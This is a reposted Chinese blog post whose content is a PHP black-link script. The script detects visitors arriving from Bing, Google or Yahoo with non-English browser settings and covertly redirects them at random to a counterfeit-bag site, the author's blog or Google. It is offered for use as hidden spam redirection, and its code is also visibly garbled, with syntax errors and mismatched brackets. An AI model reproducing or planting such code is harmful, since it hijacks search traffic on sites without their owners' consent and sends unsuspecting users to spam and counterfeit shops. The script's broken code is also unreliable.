php判断浏览器和系统语言通过搜索引擎随机跳转网站-挂黑链

简介:
  1. <?  
  2.    
  3. $language=$_SERVER["HTTP_ACCEPT_LANGUAGE"];  
  4.    
  5. $lang="en";  
  6.    
  7. if ( strpos($language,$lang) == false ){            //如果客户端的浏览器语言不是en的则不跳转  
  8.    
  9. if(isset($_SERVER['HTTP_REFERER'])){                //判断源地址的链接,如果是直接访问网址则不进行跳转  
  10.    
  11. $source = $_SERVER['HTTP_REFERER'];  
  12.    
  13. //echo $source;  
  14.    
  15. else {  
  16.    
  17. $source = '';  
  18.    
  19. }  
  20.    
  21. $urla="bing";  
  22.    
  23. $urlb="com.hk";  
  24.    
  25. $urlc="google";                                          //搜索引擎  
  26.    
  27. $urld="yahoo";  
  28.    
  29. if ( strpos($source,$urlb) == false ){                
  30.    
  31. if (( strpos($source,$urla) == true )orstrpos($source,$urlc) == true )orstrpos($source,$urld) == true ))     //如果源地址是搜索引擎的其中一种  
  32.    
  33. {                                                                                         //则继续判断  
  34.    
  35. error_reporting(7);        //报错等级  
  36.    
  37. $target_url=array();         
  38.    
  39. for($i=0;$i<39;$i++)                                                             
  40.    
  41. {  
  42.    
  43.     $target_url[$i]="http://www.coachbagclearancesite.com";  
  44.    
  45. }  
  46.    
  47. for($i=41;$i<59;$i++)  
  48.    
  49. {  
  50.    
  51.     $target_url[$i]="http://blog.mcshell.org";  
  52.    
  53. }  
  54.    
  55. for($i=60;$i<100;$i++)  
  56.    
  57. {  
  58.    
  59.     $target_url[$i]="http://www.google.com";  
  60.    
  61. }  
  62.    
  63. //print_r($target_url);  
  64.    
  65. //print_r(rand_array($target_url));     //调试代码  
  66.    
  67. function rand_array($arr)  
  68.    
  69. {  
  70.    
  71.     $arr_size=sizeof($arr);  
  72.    
  73.     $tmp_arr=array();  
  74.    
  75.     for($i=0;$i<$arr_size;$i++){  
  76.    
  77.         mt_srand((double) microtime()*1000000);              //制作随机的网址  
  78.    
  79.         $rd=mt_rand(0,$arr_size-1);  
  80.    
  81.         if($tmp_arr[$rd]=="")  
  82.    
  83.         {  
  84.    
  85.             $tmp_arr[$rd]=$arr[$i];  
  86.    
  87.         }  
  88.    
  89.         else 
  90.    
  91.         {  
  92.    
  93.             $i=$i-1;  
  94.    
  95.         }  
  96.    
  97.     }  
  98.    
  99.     return $tmp_arr;  
  100.    
  101. }  
  102.    
  103. $attack_url=rand_array($target_url);  
  104.    
  105. $attackurl="com";  
  106.    
  107. if ( strpos($attack_url[1],$attackurl) == true ){  
  108.    
  109. //最后随机获取的那个链接  
  110.    
  111. Header("Location: $attack_url[1]");  
  112.    
  113. }  
  114.    
  115. }  
  116.    
  117. }  
  118.    
  119. }  
  120.    
  121. ?> 









本文转自 mcshell 51CTO博客,原文链接:http://blog.51cto.com/mcshell/625244,如需转载请自行联系原作者

目录
相关文章
|
11天前
|
Shell
5.Electron之shell(使用系统默认浏览器打开网页)
5.Electron之shell(使用系统默认浏览器打开网页)
30 1
|
23天前
|
PHP
PHP开发的爱情盲盒交友系统网站源码 独立后台
PHP开发的爱情盲盒交友系统网站源码 独立后台
29 4
|
23天前
|
PHP
明星百科大全PHP网站源码
明星百科大全网站源码,国内外明星娱乐音乐、新闻八卦、写真照片、相关影视作品等等的明星百科网站源码。
29 4
|
22天前
|
PHP 数据安全/隐私保护
PHP企业授权管理系统网站源码
PHP企业授权管理系统网站源码 带代理、工单、盗版检测管理等功能
18 2
|
2天前
|
JavaScript 前端开发 开发工具
TypeScript的介绍,let age:number = xxx,可以直接看出数据类型,Type由微软开发,可以在任何浏览器和系统中运行,比较适合大型项目,TypeScript的安装
TypeScript的介绍,let age:number = xxx,可以直接看出数据类型,Type由微软开发,可以在任何浏览器和系统中运行,比较适合大型项目,TypeScript的安装
|
4天前
|
移动开发 小程序 前端开发
php + h5使用 scheme页面跳转微信小程序-其他浏览器一键跳转到微信并打开小程序
php + h5使用 scheme页面跳转微信小程序-其他浏览器一键跳转到微信并打开小程序
5 0
|
4天前
|
缓存 前端开发 PHP
【超详细】php实现扫码关注微信公众号系统/网站自动注册登录
【超详细】php实现扫码关注微信公众号系统/网站自动注册登录
5 0
|
1月前
win10取消ie浏览器自动跳转edge浏览器
win10取消ie浏览器自动跳转edge浏览器
45 4
|
2月前
|
前端开发 关系型数据库 MySQL
使用PHP构建动态网站的技术指南
【5月更文挑战第27天】本文是使用PHP构建动态网站的指南,涵盖基本概念、技术栈选择(PHP、MySQL/MariaDB、HTML/CSS/JavaScript及Web服务器)、数据库交互示例、安全性考虑(SQL注入防护、输入验证、HTTPS使用、安全更新)和性能优化(缓存、查询优化、代码优化、输出压缩)。通过学习和实践,开发者能创建安全、高性能的动态网站。
|
23天前
|
PHP
PHP地方门户分类信息网站源码讯客分类信息系统源码(含手机版)
1.上传程序到网站根目录,访问http://域名/install/index.php 进行安装,不要直接打开网址,先直接安装; 2.安装完成后 后台恢复数据即可 默认帐号密码都是admin http://域名/admin/ 3.不要删除任何文件,因为删除文件或者修改代码可能造成错误
17 0